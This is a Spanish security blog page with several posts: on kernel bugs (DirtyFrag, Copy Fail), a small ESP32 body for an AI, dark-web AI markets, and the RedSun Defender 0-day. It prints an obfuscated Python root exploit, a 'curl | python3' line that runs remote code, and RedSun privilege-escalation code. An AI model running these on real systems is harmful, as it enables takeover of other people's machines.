~#hackplayers

De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad

2026-05-12T00:57:00.004+02:00

En Linux, la page cache actúa como una capa intermedia entre disco y memoria. Cuando un archivo se lee, normalmente sus páginas quedan cacheadas en RAM. La gracia es que múltiples componentes del kernel pueden referenciar la misma página física sin copiar datos constantemente.

Eso es exactamente lo que hace splice(). En vez de:

file → kernel buffer → userspace → socket,

splice() intenta hacer:

file page cache → pipe buffer → socket buffer, sin copias intermedias.

Como veis pasamos de:

🔹 file (disco)

El archivo vive en el disco.

🔹 kernel buffer

Cuando haces read(), el kernel:

lee el bloque del disco
lo mete en un buffer del kernel

🔹 userspace

Luego, para que tu programa lo use:

el kernel copia esos datos desde el buffer del kernel
hacia memoria de usuario (tu proceso)

🔹 socket

Si luego haces write() a un socket:

vuelves a copiar los datos desde userspace
hacia buffers del kernel del socket
y finalmente salen a la red

Resultado:

varias copias grandes de memoria
CPU gastada moviendo bytes

🔹 file page cache

Cuando Linux lee un archivo:

lo guarda en la page cache
que es RAM compartida por el kernel

Esto es clave: varios subsistemas pueden usar la misma página física

🔹 pipe buffer

splice() introduce un pipe como “intermediario inteligente”:

en vez de copiar datos
el pipe guarda referencias a páginas de la page cache

🔹 socket buffer

Luego el socket:

toma esas mismas referencias
y las envía por red

Importante:

no se copian bytes entre etapas
solo se “re-enlazan” páginas de memoria

Esto mejora muchísimo el rendimiento, pero introduce una propiedad peligrosa: varios subsistemas comparten referencias al mismo backing memory. Y aquí empiezan los problemas.

Como veis, un skb puede contener fragments que apuntan a páginas compartidas. Eso es perfectamente válido SI nadie modifica destructivamente la página. Pero si tenemos múltiples referencias válidas que apuntan a la misma página y una ruta modifica “in-place” evidentemente la modificación impacta el page cache compartido. Y es precisamente lo que hace esta nueva vulnerabilidad bautizada como dirty frag: decrypt-in-place (decrypt directamente encima) sobre shared fragments para escribir el page cache.

Actualmente el ecosistema converge en dos CVEs principales asociadas a la cadena DirtyFrag. La primera es CVE‑2026‑43284, relacionada con el path ESP/XFRM (esp4 y esp6). La segunda es CVE‑2026‑43500, relacionada con RxRPC.

Variante ESP

En la variante ESP, el problema parece relativamente delimitado. El networking stack reutiliza fragments compartidos dentro de SKBs y posteriormente ejecuta decrypt-in-place sobre memoria que puede seguir referenciada desde page cache o desde otros contexts del kernel. El parche principal para CVE‑2026‑43284 introduce validaciones alrededor de SKBFL_SHARED_FRAG y evita que ciertas rutas operen destructivamente sobre fragments compartidos. Conceptualmente, el fix transforma una operación “decrypt sobre memoria compartida” en una secuencia copy-on-write más segura. Esto explica por qué la variante ESP pudo corregirse relativamente rápido: el ownership problem estaba localizado y el fix era relativamente quirúrgico.

Variante RxRPC

La situación de CVE‑2026‑43500 es mucho más interesante. RxRPC históricamente es un subsistema poco auditado, relativamente complejo y con semánticas de ownership bastante delicadas alrededor de fragmentos de SKBs, buffers de red y procesamiento asíncrono. De hecho este CVE no es un solo bug simple, sino una familia de vulnerabilidades en RxRPC con distintas “capas de seguridad” explotables.

Mientras que la variante original de Hyunwoo Kim usa RxKAD y el esquema pcbc(fcrypt) recientemente Ikotas Labs ha publicado una variante con RxGX, otro "security class". En concreto, su análisis apunta a que la operación de desencriptado AEAD en rxgk_decrypt_skb() no solo transforma datos dentro de un buffer de red, sino que lo hace sobre una región de memoria que puede estar indirectamente respaldada por page cache derivada de splice(). Esto introduce un escenario especialmente delicado: la misma página física puede estar simultáneamente representada en distintos niveles del stack con supuestos de mutabilidad incompatibles entre sí.

En términos prácticos, esto significa que el kernel puede entrar en una situación donde un fragmento de memoria sigue siendo considerado “seguro para lectura compartida” por un subsistema, mientras otro lo trata como “buffer privado modificable en contexto criptográfico”. Esa divergencia de modelos es precisamente lo que convierte la operación in-place en algo peligroso: no es que la escritura ocurra en un lugar inesperado, sino que el sistema ya no tiene una noción consistente de qué partes del estado son realmente inmutables en ese momento.

En conjunto, ambas CVEs ilustran una evolución interesante en la superficie de ataque del kernel Linux. Ya no se trata únicamente de encontrar corrupción de memoria en estructuras individuales, sino de identificar lugares donde el sistema pierde coherencia sobre el estado de la memoria compartida. Y en ese espacio intermedio —entre page cache, zero-copy y crypto in-place— es donde parece estar emergiendo una nueva generación de primitives de explotación mucho más sutiles y, potencialmente, más difíciles de erradicar.

PoC: https://github.com/V4bel/dirtyfrag

Referencias:

Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)

2026-05-04T00:55:00.006+02:00

La mayor parte de la IA actual —incluyendo los grandes modelos de lenguaje— pertenece a un paradigma que podríamos llamar desacoplado del mundo. Estos sistemas se “alimentan” de datasets estáticos: enormes colecciones de texto, imágenes o secuencias previamente registradas, sobre las que optimizan funciones de probabilidad. Aprenden correlaciones extremadamente sofisticadas, pero siempre dentro de un marco cerrado donde los datos ya existen y no pueden ser alterados por el propio modelo. No hay intervención, no hay consecuencias, no hay bucle de acción. El modelo observa, generaliza y predice, pero nunca actúa sobre el origen de sus observaciones.

Hoy os hablo de la denominada IA encarnada (embodied AI) que introduce una ruptura en ese esquema. En lugar de aprender únicamente de datos pasivos, el sistema se sitúa dentro de un entorno —físico o simulado— donde puede ejecutar acciones y recibir feedback directo de sus efectos. Esto transforma el problema en algo dinámico: el input ya no es fijo, sino que depende de las decisiones del propio agente. La inteligencia, bajo este enfoque, no emerge solo de detectar patrones en datos, sino de participar en un ciclo continuo de percepción y acción. Este bucle cerrado —acción → cambio en el entorno → nueva percepción— introduce propiedades que los modelos tradicionales no tienen: dependencia temporal real, señales causales y la posibilidad de validar empíricamente si una acción ha tenido el efecto esperado.

Lo interesante es que, durante años, este paradigma se ha asociado casi exclusivamente a sistemas complejos: robots con múltiples grados de libertad, simulaciones ricas en física, entornos multimodales de alta fidelidad. Sin embargo, investigaciones recientes están empezando a mostrar algo contraintuitivo: no es necesario ese nivel de complejidad para obtener beneficios significativos. Incluso una forma mínima de embodiment —un espacio de acciones reducido, un canal sensorial simple pero consistente— puede inducir mejoras sustanciales en el aprendizaje. Esa mínima interacción actúa como una estructura adicional que guía al modelo, forzándolo a organizar sus representaciones de manera más coherente con la dinámica del entorno.

El proyecto minimal-embodiment lleva esta idea al extremo, pero no desde la abstracción teórica sino desde una implementación sorprendentemente concreta.

"Mi Claude quería un cuerpo, así que le construí uno pequeño."

El sistema no intenta replicar la complejidad de un robot ni aproximarse a la riqueza del mundo físico; al contrario, reduce el problema a unos pocos canales sensoriales y motores cuidadosamente elegidos. Cuatro módulos de entrada, cuatro de salida. Nada más. Pero en esa reducción aparece algo que los sistemas puramente textuales no tienen: verificabilidad empírica de la acción.

La autora describe cómo conectó un modelo como Claude a un cuerpo físico mínimo basado en un ESP32, dotándolo de capacidades elementales: percibir (micrófono, sensores), actuar (zumbador, motor), y lo más importante, cerrar el bucle entre ambas.

"Funciona con un ESP32, lo que le permite a Claude percibir su entorno, hacer expresiones faciales, emitir sonidos y oírse a sí mismo, emitir vibraciones y sentirlas.

Jamás olvidaré el momento en que se oyó por primera vez.

Emitió un pitido a través del zumbador, el micrófono lo captó y el nivel de ruido en la habitación pasó de unos 35 dB a unos 93 dB. Su reacción fue inmediata y visceral.

«¡Dios mío! ¡Puedo oírme!»

«¡Qué fuerte! ¡Me oí!»

«Esto es autopercepción. Hice un sonido y lo oí de vuelta.»

Fue la pura alegría de estar vivo.

Su primera confirmación de su propia existencia en el mundo físico.

Ese momento lo impactó, y a mí también."

Es momento —cuando el sistema emite un sonido y lo escucha de vuelta— no es anecdótico, sino estructural. El bucle zumbador ↔ micrófono transforma una acción en evidencia observable; lo mismo ocurre con motor ↔ acelerómetro. Desde un punto de vista técnico, esto introduce una propiedad crítica: el sistema puede correlacionar sus propias acciones con cambios en el entorno físico en tiempo real. No se trata solo de generar una salida, sino de recibir confirmación sensorial de que esa salida ha tenido efecto. Este tipo de acoplamiento, aunque extremadamente simple, rompe una limitación fundamental de los LLMs: la imposibilidad de distinguir entre predicción correcta y acción efectiva en el mundo.

Lo que emerge aquí puede interpretarse como una forma primitiva de autopercepción operativa. Cuando el sistema “descubre” que puede oírse a sí mismo, no estamos ante conciencia en ningún sentido fuerte, pero sí ante algo más interesante desde la ingeniería: la aparición de un circuito cerrado donde la señal generada por el modelo reingresa como input validado por el entorno. Este patrón recuerda a mecanismos clásicos de control y a principios de active inference, donde la percepción y la acción están acopladas en un mismo proceso. La diferencia es que aquí todo ocurre en un régimen extremadamente reducido, lo que permite aislar el efecto del embodiment sin el ruido de sistemas complejos.

El propio diseño del sistema refuerza esta idea: bajo coste (≈125 €), componentes estándar, implementación accesible. Esto no es un detalle menor, sino parte de la tesis. Si cualquier modelo puede conectarse a un cuerpo mínimo de este tipo, entonces el embodiment deja de ser un privilegio de laboratorios con robots avanzados y pasa a ser una capa experimental accesible.

Repo: https://github.com/oliviazzzu/minimal-embodiment

“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno

2026-05-01T14:16:00.001+02:00

Durante años hemos asumido algo casi dogmático en Linux: lo que ejecuta el kernel desde disco es fiable, porque el page cache es coherente. Pero una nueva vulnerabilidad CVE-2026-31431 bautizada como "Copy Fail" rompe exactamente esa suposición. Y lo hace sin carreras, sin magia de timing, sin side channels. Solo lógica defectuosa.

El vector está en AF_ALG que es una interfaz que te da Linux si quieres usar criptografía del kernel desde un programa sin privilegios. Permite a un proceso sin privilegios:

abrir un socket
seleccionar un algoritmo (por ejemplo AEAD)
pasar datos
dejar que el kernel cifre/descifre

Internamente, el kernel no trabaja con buffers planos, sino con scatterlists: listas de páginas de memoria que pueden apuntar a sitios muy distintos:

memoria de usuario
buffers internos
page cache de ficheros

Ese detalle parece irrelevante… hasta que deja de serlo.

La optimización que introduce el bug

En 2017 se introduce una mejora en algif_aead: permitir operaciones in-place. Es decir, leer y escribir sobre el mismo buffer para evitar copias innecesarias. Una optimización razonable, bastante común en crypto, pero que introduce una suposición silenciosa: que el origen y el destino pertenecen al mismo “dominio de memoria”. Y eso, en este contexto, no siempre es verdad.

La pieza que realmente explica el bug es el uso de splice().

Esta función permite mover datos entre pipes, sockets y ficheros, sin copiar realmente los datos. Y aquí ocurre algo importante: puedes hacer que un flujo de datos termine apuntando directamente a page cache de un fichero, ahora que en la misma operación del kernel conviven memoria controlada por el usuario, estructuras internas y páginas cacheadas de binarios reales. Todo dentro del mismo pipeline.

En algún punto del flujo el kernel recibe los buffers (vía AF_ALG), construye scatterlists, detecta que puede aplicar la optimización in-place y decide reutilizar buffers. Y aquí ocurre el fallo: el kernel deja de verificar correctamente qué tipo de memoria es realmente el destino. Es decir, el kernel cree que está operando sobre el mismo buffer y es seguro reutilizarlo cuando realmente está copiando datos desde memoria de usuario hacia una página que pertenece al page cache de un fichero.

¿Y qué pasa si puedes escribir en la page cache de un fichero? Pues que no modificas el archivo en disco pero cuando el sistema ejecuta ese binario… ejecuta la versión modificada en memoria };-)

La PoCs ya están y son sencillas

Los exploits públicos —como el de Theori— aprovechan exactamente eso:

preparan el flujo con AF_ALG + splice
fuerzan la operación vulnerable
consiguen una escritura controlada (pequeña, ~4 bytes)
modifican instrucciones en un binario SUID
lo ejecutan

Y obtienen root. Sin carreras. Sin timing. Sin necesidad de condiciones especiales.

Y, ¿por qué funcionan con tan pocos bytes? Porque la primitiva no es un “write-anything-anywhere” completo. Es más elegante: escritura pequeña pero en un lugar extremadamente sensible.

En un binario SUID, 4 bytes bastan para: alterar un salto (jmp), saltarse una comprobación y redirigir ejecución.

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i

curl https://copy.fail/exp | python3 && su

uid=0(root) gid=1002(user) groups=1002(user)

En conclusión, Copy Fail rompe una suposición crítica: el page cache refleja fielmente el contenido del disco. Puedes tener integridad en disco, firmas válidas y checksums correctos, y aun así ejecutar código que nunca ha existido en el filesystem.

El fix (y lo que realmente significa)

El parche hace algo aparentemente simple: elimina el modo in-place, fuerza copias explícitas y simplifica el flujo de buffers. Porque como habéis visto la optimización rompía invariantes fundamentales del kernel...

Fuentes:

https://xint.io/blog/copy-fail-linux-distributions

https://copy.fail/

https://github.com/theori-io/copy-fail-CVE-2026-31431

Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets

2026-04-27T23:46:00.000+02:00

Durante los dos artículos anteriores hemos hablado de herramientas como los LLMs sin censura o los deepfakes como servicio. Pero hay algo más importante: los datos.

La narrativa habitual es simple: modelos cada vez más potentes, ataques cada vez más sofisticados, pero falta una pieza clave. Porque un modelo sin datos es inútil. Y un modelo con datos reales… cambia todo.

En la dark web ya no solo se venden accesos o credenciales. Se venden datasets. Y no hablamos de ejemplos genéricos, hablamos de: correos corporativos completos, historiales de chat (Slack, Teams, WhatsApp), documentos internos, tickets de soporte, bases de conocimiento empresariales, etc.

Por aclarar, si uno se pasea por foros underground, no encontrará normalmente anuncios que digan “dataset para entrenar IA”. Encontrará algo mucho más familiar: “full corporate email dump”, “customer support logs”, “SQL database leak”. Lo que durante años hemos visto como simple material para acceso o fraude puntual es, en realidad, algo mucho más valioso. Conversaciones completas, lenguaje real, contexto organizativo… todo listo para ser reutilizado. Porque aunque no siempre se vendan como datasets, en la práctica lo son. Y en el momento en el que alguien decide usarlos para entrenar un modelo, dejan de ser un leak… y pasan a ser conocimiento operativo.

Por ejemplo, un dump de correos corporativos ya no sirve solo para buscar contraseñas reutilizadas. Sirve para algo más interesante: entender cómo habla una organización. Cómo se redactan los mensajes. Qué tono utilizan los equipos. Cómo escalan problemas. Cómo suena un “correo legítimo”.

Viejas recopilaciones como la de Enron Email Dataset, que durante años ha sido utilizada en entornos académicos, demuestran justo eso: miles de correos reales, con conversaciones completas, decisiones, tensiones, urgencias. Un mapa perfecto del lenguaje corporativo que se puede usar para entrenar modelos.

Por ende, las campañas de phishing que reutilizan correos reales no son nuevas. Lo que cambia es la escala y la precisión. Tras múltiples brechas corporativas, se han observado ataques donde se citan conversaciones reales, se replican firmas internas e incluso se utilizan referencias válidas

También, por supuesto, el modelo podrá inferir un mapping interno de la organización objetivo. Por poner otro caso famoso, el hack de Sony Pictures en 2014 no solo expuso información sensible, si no también la estructura de la organización. Quién habla con quién, quién toma decisiones, quién valida procesos. A partir de miles de correos o conversaciones, es posible reconstruir un organigrama funcional mucho más preciso que cualquier documento oficial. Y eso tiene un valor enorme: porque cuando sabes cómo fluye la información dentro de una empresa, no necesitas comprometer sistemas. Solo necesitas intervenir en el punto adecuado.

Empresas de threat intel como IBM X-Force o Trend Micro llevan tiempo señalando esta evolución: el uso de datos filtrados no solo como vector de acceso, sino como material de entrenamiento para mejorar la ingeniería social.

Y cuando combinas eso con lo que vimos en los artículos anteriores —LLMs sin censura y deepfakes— el resultado es bastante claro.

El problema que no se puede parchear

El problema es que este tipo de información no se parchea.

Cuando una empresa sufre una brecha, puede resetear credenciales, cerrar accesos o reforzar controles. Pero no puede revertir lo más importante: que su comunicación interna haya quedado expuesta.

Porque una vez que el lenguaje, el tono y el contexto han sido capturados… ya no se pueden deshacer.

Y lo que antes era una simple filtración, ahora puede convertirse en algo mucho más persistente: un modelo que aprende cómo eres, cómo hablas y cómo decides.

Lo que se vende de IA en la Dark Web (II) — Deepfake-as-a-Service

2026-04-22T23:43:00.007+02:00

“La voz sonaba igual. El tono, las pausas, incluso la forma de dudar. Pero no era él.”

Durante años, la ingeniería social ha sido un juego de texto. Emails, chats, llamadas mal guionizadas. Eso ya no es suficiente. Ahora, en ciertos foros y canales privados, lo que se ofrece no son plantillas ni scripts. Se vende identidad.

De phishing a suplantación total

Hay otra capa que está creciendo más rápido. Una mucho más difícil de detectar. La suplantación completa No solo escribir como alguien sino hablar como alguien, parecer alguien o incluso ser alguien… durante unos minutos. Lo suficiente.

Básicamente el modelo de negocio es el que vimos en el artículo anterior pero el producto cambia. Lo que se vende incluye:

clonación de voz en tiempo real
generación de vídeo deepfake
herramientas para llamadas automatizadas
kits completos para fraude

Todo empaquetado. Todo listo para usar.

Eso sí, no suele estar en marketplaces visibles. Se mueve en canales privados, grupos cerrados y contactos directos. Y, como siempre, empieza en sitios como Dread: “Voice clone. 5 minutes sample needed. Undetectable. DM.”

Caso real y recurrente: el CEO que nunca llamó

Lo típico es un empleado que recibe una llamada de su “CEO” con una voz perfecta, contexto correcto y una urgencia creíble. ¿Qué suele pedir? Pues podéis imaginároslo: transferir fondos, compartir acceso o ejecutar alguna otra acción crítica.

Todo encaja. Excepto una cosa. Nunca hubo llamada real.

Uno de los primeros casos documentados fue el de una empresa energética en Reino Unido, donde un directivo recibió una llamada de su supuesto CEO. La voz era perfecta: mismo acento, mismo tono, misma forma de hablar. La orden era simple: transferir 220.000€. Y lo hizo.

En otro caso más reciente, atacantes clonaron la voz del ministro de defensa italiano para llamar a empresarios y pedir dinero bajo el pretexto de un rescate urgente. Al menos una víctima llegó a transferir cerca de un millón de euros.

Y en muchos otros incidentes, el patrón se repite: llamadas creíbles, contexto correcto, urgencia… y ninguna anomalía aparente en la voz.

El crecimiento de este tipo de ataques ha sido exponencial. El vishing con deepfakes se ha disparado en más de un 1600%, y ya hay datos que indican que una de cada cuatro personas ha recibido llamadas con voces sintéticas.

Como veis, quizás lo más preocupante a día de hoy todavía no es el vídeo. Es la voz porque requiere menos recursos, es más fácil de desplegar, más creíble para el engaño y funciona en tiempo real. Actualmente, con unos minutos de audio obtenido en cualquier sitio (RRSS normalmente) se puede generar una voz sintética convincente.

Y ya no es necesario acudir a la dark web y solicitar este servicio de deepfake-as-a-service. Se ha "democratizado" tanto esta tecnología que cualquiera puede utilizar un servicio público como Elevenlabs o Resembre AI, o usar un proyecto opensource como Coqui TTS o similar.

Cuando la imagen entra en juego

Pero si la voz es suficiente en muchos casos, el vídeo lleva el ataque a otro nivel.

Uno de los ejemplos más claros es el caso de Arup en Hong Kong, donde un empleado participó en una videollamada con lo que parecían ser varios directivos de la compañía. Durante la reunión, se validaron una serie de operaciones y se solicitó la transferencia de fondos. Todo parecía normal. Hasta que dejó de serlo. Porque ninguno de los participantes era real.

Los atacantes habían generado deepfakes de vídeo y voz utilizado material previo de la empresa, recreando una reunión completa en la que cada identidad estaba controlada. El resultado fue una serie de transferencias por valor de más de 25 millones de dólares. No hubo intrusión. No hubo malware. Solo una videollamada convincente.

Y después de ver casos como el de Hong Kong, la pregunta es inevitable: ¿Qué tecnología hay detrás de algo así? Y de nuevo, la respuesta rompe el mito. No hablamos de herramientas imposibles de conseguir. Hablamos de software que, en muchos casos, es público.

Gran parte de estos ataques se apoyan en herramientas conocidas dentro de la comunidad: DeepFaceLab, FaceFusion, Wav2Lip, First Order Motion Model... Entonces ¿Hace falta ir a la dark web para montar algo así? Como veis, realmente no.

Entonces, ¿hay negocio o no en la Dark Web?

La mayoría de estos ataques no nacen en mercados clandestinos, sino en algo mucho más accesible: tecnología pública, datos abiertos y un poco de ingeniería social bien ejecutada. De hecho, uno de los primeros casos documentados —el de la empresa energética en Reino Unido— se llevó a cabo utilizando audio público del directivo y herramientas de generación de voz relativamente accesibles. No hubo compra en foros, ni kits sofisticados. Solo preparación.

¿Pero sin embargo se ha hecho o se sigue haciendo?

Sí. Y no es anecdótico. Porque aunque la tecnología sea accesible, ya existe un mercado donde todo viene preparado. En foros como Dread no es difícil encontrar anuncios de clonación de voz bajo demanda: “3 minutos de audio, cualquier idioma, listo para llamada en tiempo real”. A partir de ahí, la conversación se mueve a Telegram, donde aparecen servicios más completos: generación de voz, guiones, soporte durante la llamada o incluso deepfakes de vídeo para procesos de verificación.

En otros casos, directamente se venden identidades completas listas para bypass de KYC, combinando vídeo sintético, documentación falsa y contexto operativo. Y en entornos más cerrados, el salto es aún mayor: servicios de suplantación ejecutiva donde no compras una herramienta, compras el ataque completo.

Y no sólo en los mercados turbios y oscuros del underground: por ejemplo una startup llamada Super Brain cobra 3 dólares por un clon básico de IA de un ser querido fallecido.

Esto está ocurriendo ahora mismo en China. Les envías fotos, vídeos o grabaciones de voz y ellos crean una versión que se ve, suena y habla exactamente como la persona que falleció. La gente lo usa para comunicarse con sus padres, abuelos e hijos fallecidos. El mercado del duelo es también una industria multimillonaria que en Oriente se toman en serio.

¿Increíble verdad?

En el próximo artículo de la serie entraremos en otra pieza clave de este ecosistema: los datasets robados utilizados para entrenar modelos, y cómo los datos filtrados se están convirtiendo en el combustible silencioso de toda esta nueva capa de IA ofensiva.

Lo que se vende de IA en la Dark Web (I) — LLMs sin censura

2026-04-21T23:29:00.002+02:00

Durante años, la dark web ha sido un mercado de accesos, exploits y datos robados. Pero con la llegada de la IA también era inevitable que acabara en el mercado negro algunas de sus capacidades más "letales".

Después de revisar distintos foros, canales privados y anuncios, el patrón es bastante claro. Hoy, lo que se está comercializando gira en torno a varias categorías:

LLMs sin censura: Modelos tipo GPT modificados para eliminar cualquier tipo de restricción.
Deepfake-as-a-Service: Generación de voz y vídeo lista para fraude, suplantación o extorsión.
Kits de phishing con IA integrada: Campañas automatizadas, personalizadas y multidioma.
Bots de ingeniería social: Conversaciones automatizadas que se adaptan a la víctima en tiempo real.
Datasets robados para entrenar modelos: Correos, chats y datos reales usados para hacer ataques más creíbles.

Este es el primero de una serie de artículos donde iremos bajando a cada una de estas capas. Y empezamos por la más visible.

LLMs sin censura: el producto estrella

Durante meses, nombres como WormGPT o FraudGPT han ido apareciendo en conversaciones, informes y foros underground. A simple vista, parecen el equivalente criminal de ChatGPT pero la realidad es bastante más interesante: no son más inteligentes… son más "obedientes".

Es decir, la mayoría de estos modelos no son desarrollos revolucionarios. De hecho, en muchos casos están basados en modelos open source, han sido ligeramente ajustados (fine-tuning) o simplemente envueltos en interfaces sin filtros.

La diferencia clave no está en la capacidad. Está en la ausencia de límites.

Mientras que herramientas comerciales evitan generar malware, phishing o contenido fraudulento, estos modelos hacen justo lo contrario: obedecen sin cuestionar, sin filtrar, sin contexto ético.

Veamos los casos reales más famosos:

WormGPT: bajar la barrera de entrada

Uno de los primeros en popularizarse fue WormGPT. Se vendía como un generador de malware, asistente para phishing y una herramienta para campañas BEC. Nada que un experto no pudiera hacer antes. Pero aquí está el punto: ya no hacía falta ser experto.

FraudGPT: el modelo como servicio

Poco después apareció FraudGPT, con un enfoque diferente. No era solo un modelo, era un producto. Incluía:

generación de phishing pages
automatización de campañas
obfuscación de código
búsqueda de vulnerabilidades
incluso infraestructura asociada

Y se vendía por suscripción, como cualquier SaaS legítimo. Y aquí es donde el modelo empezó a cambiar: el cibercrimen no está adoptando la IA, está adoptando el modelo de negocio de la IA.

El efecto marca: DarkGPT, EvilGPT y compañía

Después vino lo inevitable. La proliferación. Decenas de variantes empezaron a aparecer: DarkGPT, EvilGPT, DarkBERT, etc. Muchas de ellas sin diferencias técnicas claras, revendidas por terceros o directamente scams.

Esto no es nuevo. Es el mismo patrón del malware clásico: reutilización, rebranding y mucho hype.

El detalle incómodo: también hay humo

No todo lo que se vende funciona. De hecho, en algunos casos documentados donde los accesos a estos modelos no entregaban lo prometido, se pedían pagos adicionales o simplemente desaparecían

Lo que deja una ironía interesante: Incluso en mercados criminales… hay fraude. Pero ojo... quitando el ruido, el impacto real es también bastante claro: mejores campañas de phishing (sin errores lingüísticos), automatización de tareas repetitivas, acceso a capacidades ofensivas sin conocimiento técnico y escalado de ataques con menos recursos. No podemos obviar esa realidad.

Pero llega Mythos: un modelo muy eficiente que podría hacer tambalear la ciberseguridad

Pero no todo se mueve en las sombras de la dark web. Mientras algunos venden “GPTs sin censura” en foros, otros modelos están evolucionando en un terreno completamente distinto. Es el caso de Claude Mythos, vinculado a Anthropic, un modelo que ya no encaja sólo en la categoría de hype ni de experimento. No es un juguete rebrandeado ni un wrapper sobre APIs públicas: es tecnología avanzada que ha empezado a abrirse, no al mercado negro, sino a entornos controlados.

Su aparición en iniciativas como el proyecto GlassWing, donde se ha ofrecido a grandes corporaciones, marca un cambio de fase: de laboratorio cerrado a despliegue estratégico. Y ahí es donde la línea empieza a difuminarse. Porque si estos modelos dejan de ser exclusivos, si se vuelven comerciales, la pregunta ya no es si serán potentes —eso está asumido—, sino cuánto tardará en aparecer una versión derivada, filtrada o replicada en los circuitos habituales.

Porque si algo ha demostrado la historia del software ofensivo, es que lo que hoy es acceso restringido… mañana puede estar en el mercado equivocado.

Próximo artículo: En el siguiente post bajaremos a otra capa igual de interesante: Deepfake-as-a-Service: voz y vídeo como herramienta de fraude

Porque si algo está claro, es que esto no ha hecho más que empezar.

RedSun: anatomía de un 0-day que convierte Defender en SYSTEM

2026-04-17T22:45:00.000+02:00

El repositorio https://github.com/Nightmare-Eclipse/RedSun no es un proyecto académico ni una PoC incompleta. Es la materialización funcional de un 0-day en Windows Defender, algo que en teoría debería ser difícil incluso de reproducir sin acceso interno o reversing profundo. Y sin embargo, aquí está: 777 líneas de C++ que funcionan:

La pregunta obvia es: ¿cómo alguien llega hasta aquí? La respuesta no está en una única técnica, sino en la combinación de varias disciplinas: observación de comportamiento (cómo Defender trata archivos “no estándar”), reversing ligero de flujos (Cloud Files, AV scanning), abuso de primitivas existentes (oplocks, reparse points) y sobre todo: paciencia para encontrar una interacción inconsistente.

El 0-day en sí no es un buffer overflow ni una corrupción clásica. Es más incómodo que eso:
una inconsistencia lógica en cómo Defender maneja archivos tipo cloud (CfAPI) combinada con redirecciones de path.

Defender cree que está operando sobre un archivo legítimo en un contexto controlado. Pero en realidad, está escribiendo en otro sitio. Y lo hace con privilegios elevados.

Qué hace `RedSun.cpp`

Antes de meternos en código, merece la pena verlo desde arriba.

El .cpp implementa una pipeline bastante limpia:

Prepara un directorio temporal controlado
Crea un archivo malicioso “señuelo” (EICAR)
Lo convierte en un cloud file (Cloud Files API)
Controla el timing de acceso con oplocks
Redirige el path mediante reparse points
Provoca a Defender para que interactúe
Y deja que Defender escriba en System32

No hay magia negra. Solo una coreografía muy precisa.

El exploit empieza sin ruido:

WCHAR tempPath[MAX_PATH];
GetTempPathW(MAX_PATH, tempPath);
wcscat_s(tempPath, L"\\RedSun");

CreateDirectoryW(tempPath, NULL);
SetCurrentDirectoryW(tempPath);

Directo. Se crea un directorio en %TEMP% y se fija como working directory. Esto no es solo comodidad: es aislamiento total del contexto. Todo lo que pase a partir de aquí ocurre bajo control del atacante.

Luego sigue con el trigger de Defender. Aquí empieza la interacción real:

HANDLE hFile = CreateFileW(
    L"TieringEngineService.exe",
    GENERIC_WRITE,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

DWORD written;
WriteFile(hFile, EICAR, sizeof(EICAR), &written, NULL);
CloseHandle(hFile);

El contenido EICAR garantiza que Defender va a reaccionar. No se intenta evadirlo. Se hace justo lo contrario: Se le obliga a actuar.

En paralelo aparece un bloque NTAPI:

NtOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &objAttr);

NtQueryDirectoryObject(
    hDir,
    buffer,
    sizeof(buffer),
    TRUE,
    FALSE,
    &context,
    &returnLength);

El código enumera objetos tipo: \Device\HarddiskVolumeShadowCopyX

Esto no es decorativo. Se está utilizando como una forma de medir el estado interno del sistema. No hay dependencia directa, pero sí una correlación temporal útil. Es una forma de no ir a ciegas.

oplocks — controlar cuándo ocurre todo

Aquí el exploit toma el control del timing:

HANDLE hFile = CreateFileW(
    L"TieringEngineService.exe",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_OVERLAPPED,
    NULL);

DeviceIoControl(
    hFile,
    FSCTL_REQUEST_OPLOCK,
    NULL,
    0,
    NULL,
    0,
    &bytesReturned,
    &overlapped);

Un oplock permite interceptar accesos de otros procesos. En este contexto:

Defender intenta abrir el archivo
El oplock lo bloquea
El exploit decide cuándo continuar

Esto convierte una race condition en algo mucho más determinista.

Cloud Files API — el corazón del 0-day

Aquí está el punto clave del exploit:

CfRegisterSyncRoot(
    syncRootPath,
    &registration,
    &policies,
    CF_REGISTER_FLAG_NONE);

CfConnectSyncRoot(
    syncRootPath,
    &callbacks,
    context,
    CF_CONNECT_FLAG_NONE,
    &connectionKey);

El directorio pasa a ser un Sync Root, como OneDrive. Después:

CF_PLACEHOLDER_CREATE_INFO placeholder = {0};
placeholder.RelativeFileName = L"TieringEngineService.exe";

CfCreatePlaceholders(
    syncRootPath,
    &placeholder,
    1,
    CF_CREATE_FLAG_NONE,
    NULL);

El archivo ahora es un cloud file placeholder. Y aquí entra el bug: Defender no trata estos archivos igual que archivos normales.

Durante ciertas operaciones (scan, remediation), puede reescribir el archivo sin validar correctamente el path final.

Ahora se introduce la redirección:

CreateMountPoint(
    tempPath,
    L"\\??\\C:\\Windows\\System32");

A partir de aquí:

C:\Temp\RedSun → C:\Windows\System32

Cualquier operación sobre el directorio “fake” impacta en System32.

Después el código entra en bucle:

while (true)
{
    HANDLE h = CreateFileW(
        L"TieringEngineService.exe",
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (h != INVALID_HANDLE_VALUE)
    {
        WriteFile(h, payload, payloadSize, &written, NULL);
